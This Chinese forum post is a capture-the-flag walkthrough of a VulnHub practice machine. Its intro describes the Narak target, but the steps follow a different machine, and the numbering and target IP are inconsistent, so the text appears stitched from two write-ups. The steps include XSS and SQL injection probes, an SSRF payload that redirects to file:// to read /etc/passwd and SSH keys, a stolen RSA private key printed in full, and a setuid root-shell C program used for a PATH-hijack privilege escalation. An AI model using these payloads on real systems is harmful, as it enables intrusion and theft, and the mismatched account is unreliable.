冬雨财经 发表于 2023-3-4 01:49:36

第二十一次打靶

靶机介绍

1)靶机地址:https://download.vulnhub.com/ha/narak.ova
2)靶机难度:中
3)打靶目标:取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、密码字典定制、爆破密码、webdav漏洞、PUT方法上传、BF语言解码、MOTD注入、CVE-2021-3493提权
5)靶机简介:由于人脑的思维方式,我们不太能够记住毫无关联的一串字符组合,因此我们在设置自己帐号的密码时,通常还是会基于某些自己已知的信息,来变形组合形成自己的密码。因此在美剧《黑客军团》中,我们看到男主曾利用信息收集,生成某人的专属密码字典,并以此控制了对方的电子邮件。这种方法不仅适用于个人,对于企业系统往往也非常有效。本次打靶就会利用定制密码字典的方法,突破靶机的身份认证机制,并结合WEBDAV漏洞上传WEBSHELL,从而实现对目标靶机的边界突破。在本地提权阶段,使用两种方法。其中一种方法需要结合靶机的权限漏洞和某种小众编程语言的解码,才能最终完成。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程

1)主机发现
# arp-scan -lhttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163328597-1335443817.png
2)全端口扫描
# nmap -p- 172.24.10.133https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163335735-2136941764.png
3)服务版本扫描
# nmap -p1337,3306 -sC -sV 172.24.10.133https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163346618-872756855.png
4)通过浏览器访问靶机的80端口,返回的是一个test2的文件列表,打开test2返回的是如下的页面
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163357937-1149761562.png
​        根据页面提示可知,该网站主要用来给员工查看自己的配置文件,也支持将配置文件导出,且该CMS是使用开源的项目进行搭建,并且给出了开源项目的地址。通过访问页面源代码也未发现有价值信息
​        在打开页面时,浏览器一直在加载页面资源,可通过burp查看,具体是哪个资源没有请求成功,导致浏览器一直处于加载状态
​        默认情况下,加载jpg、png、css、js文件时,是不会截断的,此处将勾选去掉,使的burp同样支持这些资源的阶段。同时拦截返回的数据包
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163406522-97703762.png
5)通过在burp抓取数据包,发现该网站请求了google上的一个js文件,因国内无法直接访问google,导致页面处于加载中
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163413415-765859185.png
6)在本机启动clash代理(会在本地监听一个7891端口),将服务器的请求,通过Burp发送到代理
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163421234-1139903550.png
此时可将所有的页面资源全部加载出来,同时可点击页面右上方的Login按钮
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163435298-528950279.png
7)打开页面提示的开源CMS项目所在的github的地址,在其中的install.php中找到了一个用户名admin和密码1234
地址:https://github.com/mihai-vlc/master-login-system
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163445483-403829436.png
8)通过默认的用户名和密码在web页面登录,发现可以正常登录
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163452443-1836263221.png
页面返回welcome admin说明已经登录成功,在左上角出现一个admin的选项,该选项点击后选择profile,可查看admin用户的配置信息以及可以进行修改
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163458899-642547588.png
9)在Edit profile中对admin用户的邮箱地址进行修改,提交后,发现会将邮箱地址,原样的显示到页面上
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163505049-1386828262.png
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163511597-273977265.png
根据该显示可猜测此处是否存在XSS漏洞(当从客户端提交什么样的内容,那么服务端就会原样的返回)。通过多次测试发现,在邮箱中提交js代码,会进行过滤,但是在Display name中提交js代码,不会进行过滤
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163521520-556733813.png
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163528281-852988726.png
通过上述测试,确定存在XSS漏洞,且返回弹窗后,在URL中出现一个参数,对其进行SQL注入测试
http://172.24.10.133/test2/profile.php?u=1'
http://172.24.10.133/test2/profile.php?u=1' and 1=1 --
http://172.24.10.133/test2/profile.php?u=1' and 1=2 --通过测试,发现此处并不存在SQL注入
10)对目标靶机web进行路径爬取
# dirsearch -u http://172.24.10.133https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163535251-1721722190.png
访问扫描出的页面,发现只是一个apache的页面,在该页面无可利用的有价值信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163544618-346750125.png
11)返回登录页面,继续进行信息搜集,发现一个导出配置的功能,可将当前admin用户的配置信息导出
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163550942-682576271.png

[*]已下载的配置文件pdf不会对打靶有任何的帮助,但是查看该文档属性时,可以看到该pdf文件是由服务端的wkhtmltopdf组件生成的。(即将html文件信息->转化为pdf文件)
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163600103-1939632632.png
通过搜索发现wkhtmltopdf组件是一个命令行的工具,且存在一个文件包含漏洞
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163609257-256127766.png
通过wkhtmltopdf组件可以读取或者加载网络上或着本地的资源及元数据信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163616090-1770819593.png
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163625350-2117575492.png
13)尝试在第九步中的display name中输入ifname标签,读取本地文件信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163632021-1384825727.png
返回首页后,无任何信息变化
13)尝试在第九步中的display name中输入ifname标签,读取网络资源信息
①现在kali主机启动httpd服务
# systemctl restart apache2
# echo test123 > /var/www/html/test.txthttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163640937-11490758.png
②在web系统修改admin的配置信息从,插入payload
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163652284-575552290.png
此处在首页面可查看到返回的信息,确认此处存在SSRF漏洞
14)参考如下文档,发现,需要现在攻击者的web服务器中防放置一个php的代码,然后再在目标靶机的web系统中(第九步)引用,让这段php代码在靶机中去执行,执行完成后,就可以读取靶机本地的文件
参考链接:http://hassankhanyusufzai.com/SSRF-to-LFI/
①先在kali主机生成文件
# cat /var/www/html/payload.php
<?php header('location:file://'.$_REQUEST['url']); ?>②在目标靶机的web系统中(第九步)通过payload.php的url参数查看本地文件信息。保存配置
③导出配置时才会激活wkhtmltopdf组件,查看pdf文件,发现已经可以查看到/etc/passwd的信息,SSRF漏洞利用成功
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163703206-269802759.png
④通过检查发现,存在一个可供登录的普通用户gemini1
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163709561-1149643709.png
注:通过测试发现,该漏洞只能实现文件的读取,不能实现命令执行
15)通过在github查看CMS源代码,发现存在一个setting.php文件,该文件中存在数据库的配置信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163717874-1461394272.png
16)通过SSRF漏洞,查看靶机web系统的数据库信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163730836-775576106.png
上述源码信息,对突破边界并没有实际的作用
17)通过用户文件可知靶机存在gemini1用户,并可知该用户的家目录,通过SSRF漏洞,查看该用户是否使用了ssh公钥身份认证信息,如果使用了公钥身份认证,那么就会存在/home/gemini1/.ssh/id_rsa文件或者/home/gemini1/.ssh/id_rsa.pub文件,及authorized_keys文件,那么就可以通过获取私钥,登录目标服务器
①将上述文件输入至第13步的display标签中,保存成功,再将配置文件导出,生成的配置文件中包含了id_rsa。说明在目标靶机存在ssh的公钥和私钥信息
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163740468-375416105.png
②查看目标服务器是否存在authorized_keys文件,如果文件存在,且该文件内容和公钥文件内容一致,即该公私可完成基于密钥的ssh认证登录。
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163747713-50467730.png
③结果显示,该authorized_keys文件存在,说明目标靶机是允许某个账号通过公钥登录目标靶机。查看公钥文件内容
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163756385-555884544.png
④发现公钥文件id_rsa.pub内容和authorized_keys文件内容一致,说明即可通过账号gemini1,和私钥远程登陆只目标靶机。先将私钥保存至kali主机
# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----
# chmod 400 id_rsa
# ssh -i id_rsa gemini1@172.24.10.134https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163812210-1856669177.png
18)对目标靶机进行信息搜集:查看内核版本、sudo权限配置,均无法成功提权
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163819549-1771030266.png
19)查看属主为root,且存在suid权限及可执行权限的文件
$ find / -user root -type f -perm -u+sx -ls 2>/dev/nullhttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163826682-75964237.png
①根据上图显示,存在一个listinfo的文件,查看文件类型发现是一个可执行文件,且该文件执行后,会显示一些系统命令的输出信息
$ file /usr/bin/listinfo
$ /usr/bin/listinfohttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163833892-524701000.png
②利用strings命令打印/usr/bin/listinfo文件中可打印的字符串,发现上述输出信息,都是调用的系统命令来执行
https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163842033-318894469.png
20)ifconfig、netstat命令都使用了绝对绝对路径,但是date命令使用的是环境变量调用,所以可以在本地编译一段提权代码,修改文件名为date,再修改环境变量。最后执行/usr/bin/listinfo来获取到root权限
①编辑提权代码
$ cat date.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}②将C语言代码进行编译
$ gcc date.c -o date
$ ls -l date
-rwxr-xr-x 1 gemini1 gemini1 8736 Mar3 08:52 date③修改环境变量,使得/usr/bin/listinfo执行时,优先使用/home/gemini1路径下的date命令
$ pwd
/home/gemini1
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ export PATH=/home/gemini1:$PATH
$ /usr/bin/listinfohttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163854107-996656389.png
④执行/usr/bin/listinfo命令。提权,获取到flag
$ /usr/bin/listinfohttps://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163902657-150418885.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 第二十一次打靶